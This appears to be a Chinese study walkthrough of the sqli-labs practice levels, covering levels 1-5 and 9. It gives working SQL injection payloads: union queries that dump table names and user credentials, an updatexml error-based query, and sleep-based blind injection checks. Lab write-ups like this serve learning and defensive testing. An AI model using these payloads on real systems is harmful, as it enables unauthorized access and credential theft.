
第一关:
1通过id=1'的报错信息判断出,此关是'闭合 的字符型
2通过order by判断出该查询共有 3列
3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列
4接下来就可以构造sql语句去查询数据库信息
查询当前数据库?id=-1' union select 1,database(),3 --+
查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
第二关
1通过id=1'的报错信息判断出,此关是数字型
2用order by判断出字段数为3
3用上关的方法判断出回显为2,3
4然后同样的构造sql语句查询数据库信息
第三关
1同样用id=1'的报错信息判断出闭合方式为')
然后其他步骤相同,只有?id=-1')不一样
第四关
1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")
其他步骤一样的判断回显位置,判断列数,查询数据库
第五关
1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,
2同样用order by判断出字段数为3
3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中
查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
第九关
1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。
2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,
3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破